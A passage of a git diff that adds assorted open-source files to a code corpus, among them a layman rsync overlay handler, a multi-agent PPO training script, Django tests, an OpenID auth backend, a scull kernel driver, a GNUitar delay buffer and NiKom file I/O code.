+			self.baseline_main.xml_result({"mod_id":"37wan-centOS-11","mod_name":"TportMod","status":"1","results":str(results)})
+		else:
+			self.baseline_main.xml_result({"mod_id":"37wan-centOS-11","mod_name":"TportMod","status":"0","results":"null"})
+		print "[*] T_port_Mod Finish!"
+
+def getPluginClass():
+	return TportMod
\ No newline at end of file
diff --git a/pool/shard000/Python/0009012_rsync.py b/pool/shard000/Python/0009012_rsync.py
new file mode 100644
index 0000000000000000000000000000000000000000..e6a6308ec4bf27b54bdeb754465faf2953395df5
--- /dev/null
+++ b/pool/shard000/Python/0009012_rsync.py
@@ -0,0 +1,91 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+#################################################################################
+# LAYMAN RSYNC OVERLAY HANDLER
+#################################################################################
+# File:       rsync.py
+#
+#             Handles rsync overlays
+#
+# Copyright:
+#             (c) 2005 - 2008 Gunnar Wrobel
+#             Distributed under the terms of the GNU General Public License v2
+#
+# Author(s):
+#             Gunnar Wrobel <wrobel@gentoo.org>
+#
+''' Rsync overlay support.'''
+
+from __future__ import unicode_literals
+
+__version__ = "$Id: rsync.py 236 2006-09-05 20:39:37Z wrobel $"
+
+#===============================================================================
+#
+# Dependencies
+#
+#-------------------------------------------------------------------------------
+
+from   layman.utils             import path, run_command
+from   layman.overlays.source   import OverlaySource, require_supported
+
+#===============================================================================
+#
+# Class RsyncOverlay
+#
+#-------------------------------------------------------------------------------
+
+class RsyncOverlay(OverlaySource):
+    ''' Handles rsync overlays.'''
+
+    type = 'Rsync'
+    type_key = 'rsync'
+
+
+    def __init__(self, parent, config, _location, ignore = 0):
+
+        super(RsyncOverlay, self).__init__(parent, config,
+            _location, ignore)
+        self.branch = None
+
+    def add(self, base):
+        '''Add overlay.'''
+
+        if not self.supported():
+            return 1
+
+        super(RsyncOverlay, self).add(base)
+
+        return self.sync(base)
+
+    def sync(self, base):
+        '''Sync overlay.'''
+
+        if not self.supported():
+            return 1
+
+        # rsync OPTIONS [-q] SOURCE TARGET
+        args = ['-rlptDvz', '--progress', '--delete', '--delete-after',
+            '--timeout=180', '--exclude=distfiles/*', '--exclude=local/*',
+            '--exclude=packages/*']
+
+        cfg_opts = self.config["rsync_syncopts"]
+        target = path([base, self.parent.name])
+
+        if self.config['quiet']:
+            args.append('-q')
+        if len(cfg_opts):
+            args.extend(cfg_opts.split())
+        args.append(self.src + '/')
+        args.append(target)
+
+        return self.postsync(
+            run_command(self.config, self.command(), args, cmd=self.type),
+            cwd=target)
+
+    def supported(self):
+        '''Overlay type supported?'''
+
+        return require_supported(
+            [(self.command(),  'rsync', 'net-misc/rsync'),],
+            self.output.warn)
diff --git a/pool/shard000/Python/0009013_joint_attention_train_eval.py b/pool/shard000/Python/0009013_joint_attention_train_eval.py
new file mode 100644
index 0000000000000000000000000000000000000000..784f02fb2d07f9277e7dfbc9dba9f87c32e4d5b1
--- /dev/null
+++ b/pool/shard000/Python/0009013_joint_attention_train_eval.py
@@ -0,0 +1,109 @@
+# coding=utf-8
+# Copyright 2022 The Google Research Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+r"""Train and Eval multi-agent PPO for multi-agent gridworld.
+
+Each agent learns an independent policy.
+
+Note: this code always assumes the network has an RNN to track other agents'
+state.
+
+To run:
+
+```bash tensorboard.sh --port=2222 --logdir /tmp/multigrid/ppo/
+
+python -m multiagent_train_eval.py --root_dir=/tmp/multigrid/ppo/
+```
+"""
+
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+import functools
+
+from absl import app
+from absl import flags
+from absl import logging
+import gin
+
+from tf_agents.system import system_multiprocessing
+# Import needed to trigger env registration, so pylint: disable=unused-import
+from social_rl import gym_multigrid
+from social_rl.multiagent_tfagents import football_gym_env
+from social_rl.multiagent_tfagents import multiagent_gym_suite
+from social_rl.multiagent_tfagents import multiagent_metrics
+from social_rl.multiagent_tfagents import multiagent_ppo
+from social_rl.multiagent_tfagents import multiagent_train_eval
+from social_rl.multiagent_tfagents import utils
+from social_rl.multiagent_tfagents.joint_attention import attention_ppo_agent
+
+FLAGS = flags.FLAGS
+
+flags.DEFINE_string('attention_bonus_type', 'kld',
+                    'Method for computing attention bonuses.')
+flags.DEFINE_float('bonus_ratio', 0.00, 'Final multiplier for bonus rewards.')
+flags.DEFINE_integer('bonus_timescale', int(1e6),
+                     'Attention bonuses scale linearly until this point.')
+
+
+def main(_):
+  logging.set_verbosity(logging.INFO)
+
+  agent_class = functools.partial(
+      attention_ppo_agent.MultiagentAttentionPPO,
+      attention_bonus_type=FLAGS.attention_bonus_type,
+      bonus_ratio=FLAGS.bonus_ratio,
+      bonus_timescale=FLAGS.bonus_timescale
+      )
+
+  if 'academy' in FLAGS.env_name:
+    env_load_fn = football_gym_env.load
+    gin.bind_parameter('construct_attention_networks.use_stacks', True)
+    gin.bind_parameter('AttentionMultiagentPPOPolicy.use_stacks', True)
+  else:
+    env_load_fn = multiagent_gym_suite.load
+
+  multiagent_train_eval.train_eval(
+      FLAGS.root_dir,
+      env_load_fn=env_load_fn,
+      agent_class=agent_class,
+      env_name=FLAGS.env_name,
+      num_environment_steps=FLAGS.num_environment_steps,
+      collect_episodes_per_iteration=FLAGS.collect_episodes_per_iteration,
+      num_parallel_environments=FLAGS.num_parallel_environments,
+      replay_buffer_capacity=FLAGS.replay_buffer_capacity,
+      num_epochs=FLAGS.num_epochs,
+      num_eval_episodes=FLAGS.num_eval_episodes,
+      train_checkpoint_interval=FLAGS.train_checkpoint_interval,
+      policy_checkpoint_interval=FLAGS.policy_checkpoint_interval,
+      log_interval=FLAGS.log_interval,
+      summary_interval=FLAGS.summary_interval,
+      actor_fc_layers=(FLAGS.actor_fc_layers_size, FLAGS.actor_fc_layers_size),
+      value_fc_layers=(FLAGS.value_fc_layers_size, FLAGS.value_fc_layers_size),
+      lstm_size=(FLAGS.lstm_size,),
+      conv_filters=FLAGS.conv_filters,
+      conv_kernel=FLAGS.conv_kernel,
+      direction_fc=FLAGS.direction_fc,
+      debug=FLAGS.debug,
+      inactive_agent_ids=tuple(),
+      random_seed=FLAGS.random_seed,
+      reinit_checkpoint_dir=FLAGS.reinit_checkpoint_dir,
+      use_attention_networks=True)
+
+
+if __name__ == '__main__':
+  flags.mark_flag_as_required('root_dir')
+  system_multiprocessing.handle_main(lambda _: app.run(main))
diff --git a/pool/shard000/Python/0009014_test_models.py b/pool/shard000/Python/0009014_test_models.py
new file mode 100644
index 0000000000000000000000000000000000000000..9e4c757a2c425b86ac312b2c0f1b3cb7df4f9e9f
--- /dev/null
+++ b/pool/shard000/Python/0009014_test_models.py
@@ -0,0 +1,78 @@
+import os
+import shutil
+
+from django.conf import settings
+from django.test import TestCase
+from django.conf import settings
+
+from PIL import Image as Image_
+
+from .utils import (
+    create_img_file,
+    create_doc_file,
+    create_attachments_img,
+    create_attachments_doc)
+
+from ..models import Image, Document
+
+
+class AttachmentsModelTest(TestCase):
+    
+    def setUp(self):
+        
+        if not os.path.exists(settings.MEDIA_ROOT):
+            os.mkdir(settings.MEDIA_ROOT)
+        
+        create_img_file()
+        create_doc_file()
+        
+        self.img = create_attachments_img('test.jpg')
+        self.doc = create_attachments_doc('test.txt')
+    
+    
+    def tearDown(self):
+        shutil.rmtree(settings.MEDIA_ROOT, ignore_errors=True)
+    
+    
+    def test_is_image(self):
+        self.assertTrue(self.img, Image)
+ 
+ 
+    def test_image_str(self):
+        self.assertEqual(
+            self.img.__str__(), 
+            'attachments/images/test.jpg')
+ 
+ 
+    def test_image_filename(self):
+        self.assertEqual(
+            self.img.filename, 
+            'test.jpg')
+
+    
+    def test_image_path(self):
+        self.assertEqual(
+            self.img.path, 
+            'attachments/images/test.jpg')
+    
+    
+    def test_is_document(self):
+        self.assertTrue(self.doc, Document)
+
+
+    def test_document_str(self):
+        self.assertEqual(
+            self.doc.__str__(), 
+            'attachments/documents/test.txt')
+    
+    
+    def test_document_filename(self):
+        self.assertEqual(
+            self.doc.filename, 
+            'test.txt')
+    
+    
+    def test_document_path(self):
+        self.assertEqual(
+            self.doc.path, 
+            'attachments/documents/test.txt')
\ No newline at end of file
diff --git a/pool/shard000/Python/0009019_auth.py b/pool/shard000/Python/0009019_auth.py
new file mode 100644
index 0000000000000000000000000000000000000000..5b6002ec44ae42cc4b4c3f37039badfcb7e27f2b
--- /dev/null
+++ b/pool/shard000/Python/0009019_auth.py
@@ -0,0 +1,292 @@
+# django-openid-auth -  OpenID integration for django.contrib.auth
+#
+# Copyright (C) 2013 CZ.NIC
+# Copyright (C) 2008-2013 Canonical Ltd.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions
+# are met:
+#
+# * Redistributions of source code must retain the above copyright
+# notice, this list of conditions and the following disclaimer.
+#
+# * Redistributions in binary form must reproduce the above copyright
+# notice, this list of conditions and the following disclaimer in the
+# documentation and/or other materials provided with the distribution.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+# POSSIBILITY OF SUCH DAMAGE.
+
+"""OpenID authentication"""
+
+from __future__ import unicode_literals
+
+from django.conf import settings
+from django.core.exceptions import ValidationError
+from django.contrib.auth import get_user_model
+from django.utils.translation import ugettext_lazy as _
+
+from openid.consumer.consumer import SUCCESS
+from openid.extensions import ax
+
+from django_mojeid.exceptions import (
+    IdentityAlreadyClaimed,
+    DuplicateUserViolation,
+)
+from django_mojeid.mojeid import get_attributes
+from django_mojeid.attribute_handlers import call_handler
+
+
+class OpenIDBackend:
+    """A backend that authenticates the user based on an OpenID response."""
+
+    supports_object_permissions = False
+    supports_anonymous_user = True
+
+    @classmethod
+    def get_user_from_request(cls, request):
+        """This method can be overwritten to implement custom user/session mechanizms
+        currently it uses standard django.contrib.auth"""
+        if not hasattr(request, 'user') or not hasattr(request.user, 'is_authenticated'):
+            return None
+        return request.user if request.user.is_authenticated() else None
+
+    @classmethod
+    def is_user_active(cls, user):
+        """This method can be overwritten to implement custom user/session mechanizms
+        currently it uses standard django.contrib.auth"""
+        return user.is_active if user else False
+
+    @classmethod
+    def is_user_authenticated(cls, user):
+        """This method can be overwritten to implement custom user/session mechanizms
+        currently it uses standard django.contrib.auth"""
+        return user.is_authenticated() if user else False
+
+    @classmethod
+    def is_user_associated_with_openid(cls, user):
+        if not user:
+            return False
+        from django_mojeid.models import UserOpenID
+        return UserOpenID.objects.filter(user_id=user.pk).exists()
+
+    @classmethod
+    def get_user_association(cls, user):
+        from django_mojeid.models import UserOpenID
+        if not user:
+            return None
+        try:
+            association = UserOpenID.objects.get(user_id=user.pk)
+        except UserOpenID.DoesNotExist:
+            association = None
+
+        return association
+
+    @classmethod
+    def get_redirect_to(cls, request):
+        """This method can be overwritten to implement custom user/session mechanizms
+        currently it uses standard django.contrib.auth"""
+        return request.REQUEST.get(cls.get_redirect_field_name(), '')
+
+    @classmethod
+    def get_redirect_field_name(cls):
+        """This method can be overwritten to implement custom user/session mechanizms
+        currently it uses standard django.contrib.auth"""
+        from django.contrib.auth import REDIRECT_FIELD_NAME
+        return REDIRECT_FIELD_NAME
+
+    @staticmethod
+    def authenticate_using_all_backends(**credentials):
+        """This method can be overwritten to implement custom user/session mechanizms
+        currently it uses standard django.contrib.auth"""
+        from django.contrib.auth import authenticate
+        return authenticate(**credentials)
+
+    @classmethod
+    def associate_user_with_session(cls, request, user):
+        """This method can be overwritten to implement custom user/session mechanizms
+        currently it uses standard django.contrib.auth"""
+        from django.contrib.auth import login as auth_login
+
+        # skip when the user is not authenticated (=AnonymousUser)
+        if not user or not user.is_authenticated():
+            return
+
+        # Set backend if it is not set
+        if not hasattr(user, 'backend'):
+            setattr(user, 'backend', 'django_mojeid.auth.OpenIDBackend')
+
+        auth_login(request, user)
+
+    def authenticate(self, **kwargs):
+        """Authenticate the user based on an OpenID response."""
+        # Require that the OpenID response be passed in as a keyword
+        # argument, to make sure we don't match the username/password
+        # calling conventions of authenticate.
+
+        from django_mojeid.models import UserOpenID
+
+        openid_response = kwargs.get('openid_response')
+        if openid_response is None:
+            return None
+
+        attribute_set = kwargs.get('attribute_set', 'default')
+
+        if openid_response.status != SUCCESS:
+            return None
+
+        user = None
+        new_user = False
+        try:
+            user_openid = UserOpenID.objects.get(
+                claimed_id__exact=openid_response.identity_url)
+        except UserOpenID.DoesNotExist:
+            if getattr(settings, 'OPENID_CREATE_USERS', False):
+                user = self.create_user_from_openid(openid_response, attribute_set)
+                new_user = True
+        else:
+            user_model = get_user_model()
+            try:
+                user = user_model.objects.get(pk=user_openid.user_id)
+            except user_model.DoesNotExist:
+                user = None
+
+        if user is None:
+            return None
+
+        if not new_user:
+            self.update_user_from_openid(user.pk, openid_response, attribute_set)
+
+        # Run custom Attribute handler
+        OpenIDBackend.run_handlers(openid_response, user, attribute_set)
+
+        return user
+
+    @staticmethod
+    def get_model_changes(openid_response, only_updatable=False,
+                          attribute_set='default'):
+
+        attributes = [x for x in get_attributes(attribute_set)
+                      if x.type in ['attribute', 'internal']]
+
+        fetch_response = ax.FetchResponse.fromSuccessResponse(openid_response)
+
+        res = {}
+
+        # filter remove non-updatable attributes
+        if only_updatable:
+            attributes = [x for x in attributes if x.updatable]
+
+        for attribute in attributes:
+            if attribute.model not in res:
+                res[attribute.model] = {'user_id_field_name': attribute.user_id_field_name}
+            val = attribute.get_value(fetch_response, attribute.required,
+                                      openid_response=openid_response)
+
+            if val is not None:
+                res[attribute.model][attribute.modelAttribute] = val
+
+        return res
+
+    @staticmethod
+    def run_handlers(openid_response, user, attribute_set='default'):
+        handlers = [x for x in get_attributes(attribute_set) if x.type == 'handler']
+
+        if not handlers:
+            return
+
+        fetch_response = ax.FetchResponse.fromSuccessResponse(openid_response)
+
+        for handler in handlers:
+            val = handler.attribute.get_value(fetch_response, handler.required, openid_response)
+            call_handler(handler.name, user, val)
+
+    def create_user_from_openid(self, openid_response, attribute_set='default'):
+        changes = OpenIDBackend.get_model_changes(openid_response, attribute_set=attribute_set)
+
+        user_model = get_user_model()
+
+        # Id will be generated no need to set this field
+        del changes[user_model]['user_id_field_name']
+
+        # Create the main user structure
+        user = user_model(**changes[user_model])
+        try:
+            user.validate_unique()
+        except ValidationError as e:
+            raise DuplicateUserViolation(", ".join(e.messages))
+        user.save()
+
+        # User created remove it from the dict
+        del changes[user_model]
+
+        # Create other structures
+        for model, kwargs in changes.items():
+            foreign_key_name = kwargs['user_id_field_name']
+            del kwargs['user_id_field_name']
+            kwargs[foreign_key_name] = user.pk
+            m = model(**kwargs)
+            m.save()
+
+        OpenIDBackend.associate_openid_response(user, openid_response)
+
+        return user
+
+    @classmethod
+    def update_user_from_openid(cls, user_id, openid_response, attribute_set='default'):
+        changes = OpenIDBackend.get_model_changes(openid_response, only_updatable=True,
+                                                  attribute_set=attribute_set)
+
+        for model, kwargs in changes.items():
+            foreign_key_name = kwargs['user_id_field_name']
+            del kwargs['user_id_field_name']
+            model.objects.filter(**{foreign_key_name: user_id}).update(**kwargs)
+
+        return changes
+
+    @staticmethod
+    def associate_openid_response(user, openid_response):
+        """Associate an OpenID request with a user account."""
+        # Check to see if this OpenID has already been claimed.
+        return OpenIDBackend.associate_openid(user, openid_response.identity_url)
+
+    @staticmethod
+    def associate_openid(user, claimed_id):
+        """Associate an OpenID with a user account."""
+
+        from django_mojeid.models import UserOpenID
+
+        # Check to see if this OpenID has already been claimed.
+        try:
+            user_openid = UserOpenID.objects.get(
+                claimed_id__exact=claimed_id)
+        except UserOpenID.DoesNotExist:
+            user_openid = UserOpenID(
+                user_id=user.pk,
+                claimed_id=claimed_id)
+            user_openid.save()
+        else:
+            if user_openid.user_id != user.pk:
+                raise IdentityAlreadyClaimed(
+                    _("The identity %s has already been claimed")
+                    % claimed_id)
+
+        return user_openid
+
+    @classmethod
+    def get_user(cls, user_id):
+        try:
+            user_model = get_user_model()
+            return user_model.objects.get(pk=user_id)
+        except user_model.DoesNotExist:
+            return None
diff --git a/pool/shard001/C/0021792_open_dev.c b/pool/shard001/C/0021792_open_dev.c
new file mode 100644
index 0000000000000000000000000000000000000000..a395ff9a84006b1940395db513e833fe0845f829
--- /dev/null
+++ b/pool/shard001/C/0021792_open_dev.c
@@ -0,0 +1,84 @@
+#include"header.h"
+#include"declarations.h"
+
+int open_dev(struct inode *inodep, struct file *filep)
+{
+	struct ScullDev *lsculldev;
+	#ifdef DEBUG
+	printk(KERN_INFO "START: %s \n",__func__);
+	#endif
+	lsculldev = (struct ScullDev*)&sculldev[0];
+	if(!sculldev) {
+		printk(KERN_ERR "sculldev not allocated");
+		goto ERR;
+	}
+	
+	lsculldev = container_of(inodep->i_cdev, struct ScullDev, c_dev);
+	if (!lsculldev) {
+		printk(KERN_ERR "container of failed\n");
+		goto ERR;	
+	}
+	
+	filep->private_data = lsculldev;
+	if(down_interruptible(&lsculldev->sem))
+		return -ERESTARTSYS;
+	
+	lsculldev->qset = create_scull(num_regs);
+	if (!lsculldev->qset) {
+		printk(KERN_ERR "error in creating scull\n");
+		goto SEM_UP;
+	}
+	up(&lsculldev->sem);
+	#ifdef DEBUG
+	printk(KERN_INFO "END: %s \n",__func__);
+	#endif
+	return 0;
+SEM_UP:
+	up(&lsculldev->sem);
+ERR:
+	return -1;
+}
+
+
+int trim_dev(struct ScullDev *lsculldev)
+{
+	struct ScullQset *lqset;
+	struct ScullQset *next = NULL;
+	int i;
+
+	#ifdef DEBUG
+	printk(KERN_INFO "START: %s \n",__func__);
+	#endif
+	if (!lsculldev) {
+		printk(KERN_ERR "no device found!\n");
+		goto ERR;
+	}
+
+	if (!lsculldev->qset) {
+		#ifdef DEBUG
+		printk(KERN_INFO "no qset found.\n");
+		#endif	
+		goto RET;
+	}
+
+	lqset = lsculldev->qset;
+	for (lqset = lsculldev->qset; lqset; lqset = next) {
+		if (lqset->data) {
+			for (i = 0; i < qset_size ; i++)
+				kfree(lqset->data[i]);
+			kfree(lqset->data);
+			lqset->data = NULL;
+		}
+		next = lqset->next;
+		kfree(lqset);
+	}
+	lsculldev->qset = NULL;
+	lsculldev->data_size = 0;	
+	#ifdef DEBUG
+	printk(KERN_INFO "END: %s \n",__func__);
+	#endif
+RET:
+	return 0;
+ERR:
+	return -1;
+}
diff --git a/pool/shard001/C/0021793_backbuf.c b/pool/shard001/C/0021793_backbuf.c
new file mode 100644
index 0000000000000000000000000000000000000000..4b35ffe354624dec7e799f14e32242021d45e517
--- /dev/null
+++ b/pool/shard001/C/0021793_backbuf.c
@@ -0,0 +1,132 @@
+/*
+ * GNUitar
+ * Backbuf - circular buffer for delay
+ * Copyright (C) 2000,2001,2003 Max Rudensky         <fonin@ziet.zhitomir.ua>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *
+ * $Id$
+ *
+ * $Log$
+ * Revision 1.12  2006/08/10 18:52:07  alankila
+ * - declare prototypes properly
+ * - hide some accidentally global methods
+ *
+ * Revision 1.11  2006/08/10 16:18:36  alankila
+ * - improve const correctness and make gnuitar compile cleanly under
+ *   increasingly pedantic warning models.
+ *
+ * Revision 1.10  2006/08/06 20:14:54  alankila
+ * - split pump.h into several domain-specific headers to reduce file
+ *   interdependencies (everyone included pump.h). New files are:
+ *   - effect.h for effect definitions
+ *   - audio-driver.h for work relating to audio drivers
+ *   - audio-midi.h for MIDI interaction.
+ *
+ * Revision 1.9  2005/09/16 20:40:18  alankila
+ * - increase backbuf performance by allocating to nearest exponent of 2
+ *
+ * Revision 1.8  2005/09/01 14:09:56  alankila
+ * - multichannel work: delay independent of nchannels; uses backbuf instead
+ *   of doing it all on its own. Also fixes bugs with delay load/save.
+ *
+ * Revision 1.7  2005/09/01 13:36:23  alankila
+ * Objectify backbuf, correct naming and make it a typedef.
+ *
+ * Revision 1.6  2005/08/10 18:37:54  alankila
+ * - add function for fetching interpolated samples
+ *
+ * Revision 1.5  2003/02/03 11:39:25  fonin
+ * Copyright year changed.
+ *
+ * Revision 1.4  2003/01/29 19:34:00  fonin
+ * Win32 port.
+ *
+ * Revision 1.3  2001/06/02 14:05:59  fonin
+ * Added GNU disclaimer.
+ *
+ * Revision 1.2  2001/03/25 12:10:49  fonin
+ * Effect window control ignores delete event.
+ *
+ * Revision 1.1.1.1  2001/01/11 13:21:06  fonin
+ * Version 0.1.0 Release 1 beta
+ *
+ */
+
+#include <gnu-guitar/effects/backbuf.h>
+
+#include <string.h>
+#include <stdlib.h>
+#include <assert.h>
+
+static void
+backbuf_add(Backbuf_t *b, const BUF_TYPE d)
+{
+    b->curpos += 1;
+    b->storage[b->curpos & b->mask] = d;
+}
+
+static BUF_TYPE
+backbuf_get(Backbuf_t *b, const unsigned int delay)
+{
+    assert(delay < b->nstor);
+    return b->storage[(b->curpos - delay) & b->mask];
+}
+
+/* XXX optimize this a bit */
+static BUF_TYPE
+backbuf_get_interpolated(Backbuf_t *b, float delay)
+{
+    unsigned int delay_int = delay;
+    unsigned int getpos;
+    
+    delay -= delay_int;
+    getpos = b->curpos - delay_int;
+    return b->storage[getpos & b->mask] * (1 - delay) + b->storage[(getpos - 1) & b->mask] * delay;
+}
+
+static void
+backbuf_clear(Backbuf_t *b)
+{
+    memset(b->storage, 0, (b->mask + 1) * sizeof(b->storage[0]));
+}
+
+Backbuf_t *
+new_Backbuf(const unsigned int max_delay)
+{
+    unsigned int size;
+    
+    Backbuf_t *b = calloc(1, sizeof(Backbuf_t));
+
+    b->nstor = max_delay + 1;
+    size = 1;
+    while (size < b->nstor)
+        size <<= 1;
+    b->storage = calloc(size, sizeof(BUF_TYPE));
+    b->mask = size - 1;
+    b->curpos = 0;
+    b->add = backbuf_add;
+    b->get = backbuf_get;
+    b->get_interpolated = backbuf_get_interpolated;
+    b->clear = backbuf_clear;
+    return b;
+}
+
+void
+del_Backbuf(Backbuf_t *b)
+{
+    free(b->storage);
+    free(b);
+}
diff --git a/pool/shard001/C/0021833_ConfHeaderExtensions.c b/pool/shard001/C/0021833_ConfHeaderExtensions.c
new file mode 100644
index 0000000000000000000000000000000000000000..a9345bf5f839782bdbb87d233a50bfffb876c460
--- /dev/null
+++ b/pool/shard001/C/0021833_ConfHeaderExtensions.c
@@ -0,0 +1,163 @@
+#include <dos/dos.h>
+#include <exec/memory.h>
+#include <proto/exec.h>
+#include <proto/dos.h>
+#include <stdio.h>
+#include "NiKomStr.h"
+#include "NiKomFuncs.h"
+#include "Logging.h"
+
+#include "ConfHeaderExtensions.h"
+
+struct MemHeaderExtension *CreateMemHeaderExtension(long textId) {
+  struct MemHeaderExtension *res;
+
+  if(!(res = AllocMem(sizeof(struct MemHeaderExtension), MEMF_CLEAR | MEMF_PUBLIC))) {
+    return NULL;
+  }
+  res->textId = textId;
+  NewList((struct List *)&res->nodes);
+  res->notInHeaderYet = 1;
+}
+
+void DeleteMemHeaderExtension(struct MemHeaderExtension *ext) {
+  struct MemHeaderExtensionNode *node;
+  while(node = (struct MemHeaderExtensionNode *)RemHead((struct List *)&ext->nodes)) {
+    FreeMem(node, sizeof(struct MemHeaderExtensionNode));
+  }
+  FreeMem(ext, sizeof(struct MemHeaderExtension));
+}
+
+struct MemHeaderExtensionNode *AddMemHeaderExtensionNode(struct MemHeaderExtension *ext) {
+  struct MemHeaderExtensionNode *node;
+
+  if(!(node = AllocMem(sizeof(struct MemHeaderExtensionNode), MEMF_CLEAR | MEMF_PUBLIC))) {
+    return NULL;
+  }
+  AddTail((struct List *)&ext->nodes, (struct Node *)node);
+  node->dirty = 1;
+  return node;
+}
+
+int SaveHeaderExtension(struct MemHeaderExtension *ext) {
+  struct Header header;
+  char fileName[40];
+  BPTR fh;
+  struct MemHeaderExtensionNode *node, *nextNode;
+  int pos = 0;
+
+  if(IsListEmpty((struct List *)&ext->nodes)) {
+    return 0;
+  }
+
+  NiKForbid();
+  sprintf(fileName, "NiKom:Moten/Extensions%d.dat", ext->textId / 512);
+  if(!(fh = Open(fileName, MODE_READWRITE))) {
+    NiKPermit();
+    LogEvent(SYSTEM_LOG, ERROR, "Can't open %s for writing.", fileName);
+    return 1;
+  }
+
+  ITER_EL_R(node, ext->nodes, node, struct MemHeaderExtensionNode *) {
+    nextNode = (struct MemHeaderExtensionNode *) node->node.mln_Succ;
+    if(node->ext.nextIndex == 0 && nextNode->node.mln_Succ != NULL) {
+      // Only do this for nodes which were previosly the last node
+      // or that are newly added but are not the last node.
+      node->ext.nextIndex = nextNode->index;
+      node->dirty = 1;
+    }
+    if(!node->dirty) {
+      continue;
+    }
+    if(node->index > 0) {
+      pos = (node->index - 1) * sizeof(struct HeaderExtension);
+      if(Seek(fh, pos, OFFSET_BEGINNING) == -1) {
+        Close(fh);
+        NiKPermit();
+        LogEvent(SYSTEM_LOG, ERROR, "Can't Seek() to pos %d in %s.", pos, fileName);
+        return 1;
+      }
+    } else {
+      if(Seek(fh, 0, OFFSET_END) == -1) {
+        Close(fh);
+        NiKPermit();
+        LogEvent(SYSTEM_LOG, ERROR, "Can't Seek() to the end in %s.", fileName);
+        return 1;
+      }
+      pos = Seek(fh, 0, OFFSET_CURRENT);
+      node->index = (pos / sizeof(struct HeaderExtension)) + 1;
+    }
+    if(Write(fh, &node->ext ,sizeof(struct HeaderExtension)) == -1) {
+      Close(fh);
+      NiKPermit();
+      LogEvent(SYSTEM_LOG, ERROR, "Error writing to %s.", fileName);
+      return 1;
+    }
+  }
+  Close(fh);
+  NiKPermit();
+  
+  if(ext->notInHeaderYet) {
+    if(readtexthead(ext->textId, &header)) {
+      return 1;
+    }
+    header.extensionIndex = ((struct MemHeaderExtensionNode *)ext->nodes.mlh_Head)->index;
+    if(writetexthead(ext->textId, &header)) {
+      return 1;
+    }
+  }
+  return 0;
+}
+
+struct MemHeaderExtension *ReadHeaderExtension(int textId, int index) {
+  struct MemHeaderExtension *ext;
+  struct MemHeaderExtensionNode *node;
+  BPTR fh;
+  int pos;
+  char fileName[40];
+  
+  NiKForbid();
+  sprintf(fileName, "NiKom:Moten/Extensions%d.dat", textId / 512);
+  if(!(fh = Open(fileName, MODE_OLDFILE))) {
+    NiKPermit();
+    LogEvent(SYSTEM_LOG, ERROR, "Can't open %s for reading.", fileName);
+    return NULL;
+  }
+  
+  if(!(ext = CreateMemHeaderExtension(textId))) {
+    Close(fh);
+    NiKPermit();
+    LogEvent(SYSTEM_LOG, ERROR, "Can't allocate MemHeaderExtension when reading text %d.", textId);
+    return NULL;
+  }
+  ext->notInHeaderYet = 0;
+  
+  while(index > 0) {
+    if(!(node = AddMemHeaderExtensionNode(ext))) {
+      Close(fh);
+      DeleteMemHeaderExtension(ext);
+      NiKPermit();
+      LogEvent(SYSTEM_LOG, ERROR,
+               "Can't allocate MemHeaderExtensionNode when reading index %d for text %d.",
+               index, textId);
+      return NULL;
+    }
+    node->dirty = 0;
+    node->index = index;
+
+    pos = (index - 1) * sizeof(struct HeaderExtension);
+    if(Seek(fh, pos, OFFSET_BEGINNING) == -1
+       || Read(fh, &node->ext, sizeof(struct HeaderExtension)) != sizeof(struct HeaderExtension)) {
+      Close(fh);
+      DeleteMemHeaderExtension(ext);
+      NiKPermit();
+      LogEvent(SYSTEM_LOG, ERROR, "Can't read HeaderExtension at index %d for text %d.",
+               index, textId);
+      return NULL;
+    }
+    index = node->ext.nextIndex;
+  }
+  Close(fh);
+  NiKPermit();
+  return ext;
+}
diff --git a/pool/shard001/C/0021855_gimpoperationdarkenonlymode.c b/pool/shard001/C/0021855_gimpoperationdarkenonlymode.c
new file mode 100644
index 0000000000000000000000000000000000000000..8945e62b475cba1a2be9e368b4caec6ab5ed1582
--- /dev/null
+++ b/pool/shard001/C/0021855_gimpoperationdarkenonlymode.c
@@ -0,0 +1,141 @@
+/* GIMP - The GNU Image Manipulation Program
+ * Copyright (C) 1995 Spencer Kimball and Peter Mattis
+ *
+ * gimpoperationdarkenonlymode.c
+ * Copyright (C) 2008 Michael Natterer <mitch@gimp.org>
+ *               2012 Ville Sokk <ville.sokk@gmail.com>
+ *
